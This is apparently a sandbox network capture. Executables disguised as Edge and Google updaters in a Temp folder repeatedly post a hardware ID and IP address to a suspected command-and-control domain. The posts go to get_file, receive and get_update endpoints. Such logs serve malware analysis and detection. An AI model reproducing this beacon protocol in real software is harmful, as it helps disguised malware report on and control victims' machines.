2024-10-03 04:54:04 UTC	645	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Amw8MKDGziY0x185%2B%2BlDxHhwTX19Tc0ezBQmLY6T7HVKJ4ZmAq9nvn5ifaGQX%2FFc%2FWYfsSxM1sbKHU4z7Q79nZVe5C5Olrp%2BhaF3iVIiGvWbMDU%2BpPskHMyUX2SsaFR%2Fpw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca5504ecf9434b-EWR alt-svc: h3=":443"; ma=86400 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49776	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:05 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:05 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:05 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:54:06 UTC	607	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=evmuvnWpjlN7w4WcomHONbKqgxv0YNWxwSImeLY3FEBn5Q1rYaGjVeVklcGhNAb2w95pw6grbcK74ut8%2FIiynyDLQgjklVB403JbPXxxpDgN%2BZa%2BJGCHyvX0K2kl3iYKXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca550ec80d1977-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49777	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:06 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:54:06 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:06 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:54:07 UTC	623	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wB2jYlDqPFs%2BWPs%2Bs%2BrcI1%2BiAFx5cS1ZHJ2HRwagEScxTtSGaG9Xeb1%2B%2FV01PHYfcUPUB0FmLRvn3ItZQB%2FhbyFf7e4B5c1nDMXy9pFl0%2FfF74LE9pL9YYrI%2Fm8S%2F%2Fa0IQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca55146db14364-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49779	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:35 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:35 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:35 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:54:36 UTC	605	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6ckSSDhzJhQo2TDgonhYokMMMdk7OwmpTyw8B0Z7%2FfvCtOAO8dTzsUzNkvWw7IfVAC2RdnkdZsa4rMeOk6grRjeVO%2BZdSYJxRiUPjpMDUdMia13ep40p3xB5pV3XiMaJNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca55c9fdf443d5-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49781	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:37 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:37 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:37 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:54:37 UTC	613	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FI9c3%2Fioct49yesfm%2BJkx0RV%2B7FQmaZKvR2cMEAelEDJBUXJsw86qKuGX8X0skc0bN%2F5tpqxqRx5e2iuVRLFVDuUMeWbCIDrDDge%2BaJjZHHLPAgUwx8D6pVI%2FlvuD5nXeg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca55d28ff0c331-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49782	104.21.54.163	443	6480	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:38 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:54:38 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:38 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:54:38 UTC	611	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1%2Bxq9p%2FPM2e0k0ak7ziPw2tzV3vKJ6TALf0tpfCoCoI9ODH0JJg9P0y4xzvVjJ7dM4ywUVObemJby1Deya%2Bb%2Bw7qzUO7w8hcrqwghL6yH6M1necwE4u8uIZKvnM%2FdmrxOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca55d83a49de94-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49784	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:40 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:40 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:40 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:54:40 UTC	603	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i0u63JtATUxqBdt%2FTRSQD826o20m2Jqn0qmDvURKzmPCQWT36BhakRFmeTTcnBiNUP5eVGsIxbS6YYAfy69AUNAnnxS2Um3ucGVmiasBDkx4m4sGQthbxxzb59mS4Gui7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca55e7bb0880d0-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49786	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:41 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:42 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:42 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:54:42 UTC	613	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p6u2Mb06f59FRZ0ApND0x6%2BVfXq7oAfv%2FEvwsLtvI5IOCctD8%2B4ecUG8yQRWdgvBskXW%2F%2FCGJgJjo%2Fu2xlk0OitVrEAaFn9Gu6zV7Czhg2ckRt4f9dCW2Gb7SDZmiOdRbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca55f0ad2a4361-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49787	104.21.54.163	443	2488	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:42 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:54:42 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:42 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:54:43 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P93C%2BUorBpoMXfe5k4OObr%2BDulzP3BuvMjyVMh9VlnvldhTblKtrrGpQlc1pEYnqjfYIPCTA57DLYFWIiu4RmOek9TyZfAE5PSl%2Bl1v%2BjuWAsrMgrYYL7sf0ldUswkvIkg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca55f61f917ce8-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49789	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:46 UTC	167	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue Connection: Keep-Alive
2024-10-03 04:54:46 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:46 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:54:46 UTC	619	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qjJ2bmlH%2BYvE%2FFlbS2%2F1e%2B2481dhtu%2F8n%2BKYyDGrC1Q519dUGtAX%2B%2BWpWba4Er5nEZFgnl2h5SUr0a6JqutR%2FQvW8MxC7yX4lwU49FacCoKaOqoYHzm7n6SeRJiMoj29TQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca560b49621a1b-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49790	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:47 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:47 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:47 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:54:47 UTC	607	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QsQ9y1FLGL6vAt1WUeTmsZkt8h6myr3TpCcmtsohKKMc4t6IlMry%2Bxi6J4gyQNh0UoZ1vKaK1XAHZ1P5IpCeLdlsNuyQ2aodujOcOasmlIiMpPxR%2B4hV3mUCjsk%2BndKq9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca56126c6f184d-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49791	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:48 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:54:48 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:48 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:54:48 UTC	609	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9t8i%2BWekupf1Qdr1TRU3AL57f884%2Bqd1fCi6LNSPu1CWmkyYw%2BnzoCalZcbkNMJC49qT8UAnVCAspQoSNIN2yL18Ez6I1PzONxrPqQzfADxoxTmghhvPkVbjs4C0GYz%2BqQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca5617e92d7cae-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49793	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:54 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:54 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:54 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:54:54 UTC	605	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dPplmsWgSsWccI88wC6GAn4am40dyxrD5n%2F6QWsfknhbtXX5LDcMfEIpRfV8ZUH2Bhyy7x69WnqkBLvnXGKWH8I82Kr1uOsdFm8IesAztXelGLdHaXnIaGnSq%2FyL3mjTWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca563c1ea64366-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49795	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:55 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:54:55 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:55 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:54:55 UTC	639	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MYSpU8XQQMuievGLmYjhymyJ5HDM%2BYS7C8JVsg7%2BLZaMp3VUFkBGQ6lcQkn539ay84Dc0BNXWb5e5mCzdvWOZNzbtG7A0ADCDiuXLeFb4OoP2LPMA%2ByjCOCf3Ba%2FRlnOow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca56459ecb42f8-EWR alt-svc: h3=":443"; ma=86400 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49796	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:54:56 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:54:56 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:54:56 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
2024-10-03 04:54:56 UTC	610	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:54:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J%2FVGTp1OovQWxdHZRrYbkLAQh%2FFBH0hk0Q6O%2FrpKEkmlYOk5yQmuOC5M%2FVzg%2FG1M3R373HmzhU9f%2Fwh6wSIBy96pVYCQVGGr5EVJ%2B172ltWEhioZeTdNOmtxJU02FGPw2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca564b3d387c8a-EWR
2024-10-03 04:54:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49798	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:11 UTC	143	OUT	POST /receive.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:11 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:11 UTC	84	OUT	Data Raw: 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 Data Ascii: ip=8.46.123.33&hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a
2024-10-03 04:55:11 UTC	615	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bo4f8xpv9sCK6aO%2BKVCBdJw%2BMxvZ6b81Ol%2Fh2AeANdAxmFgtMZT%2FlpfLCFGrcQ9VHth40d%2BzUfuUDJpjZioENVOFy1pDKz1h%2BQmT9pRdRXPzwtkPvN3ocQON%2BtGMOHOu9g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca56a7fe67c332-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49799	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:12 UTC	144	OUT	POST /get_file.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 84 Expect: 100-continue
2024-10-03 04:55:12 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:12 UTC	84	OUT	Data Raw: 68 77 69 64 3d 39 65 36 33 65 33 36 61 32 36 30 33 36 35 36 36 62 30 30 66 65 63 35 35 35 36 61 38 39 65 34 33 62 36 36 61 38 34 32 30 38 63 32 39 64 39 35 39 32 62 62 62 30 66 34 65 30 65 65 36 30 30 34 61 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: hwid=9e63e36a26036566b00fec5556a89e43b66a84208c29d9592bbb0f4e0ee6004a&ip=8.46.123.33
2024-10-03 04:55:12 UTC	605	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O0Dv%2BOTmfrfZ1IQIrDUvfIubTcuuWCUY3nhmR0v7vlnwgZKDHDRYbn5A1H%2FMeO6X26mPKx0YLUfPIDE7VCAneXRxs12AGv3FPOeiU3eCOrWQFQv73mJ0GeyEnxKRNqfuoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca56ae691242b9-EWR 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49800	104.21.54.163	443	7124	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:55:13 UTC	146	OUT	POST /get_update.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: yalubluseks.eu Content-Length: 19 Expect: 100-continue
2024-10-03 04:55:13 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 04:55:13 UTC	19	OUT	Data Raw: 63 75 72 72 65 6e 74 5f 76 65 72 73 69 6f 6e 3d 30 2e 33 Data Ascii: current_version=0.3
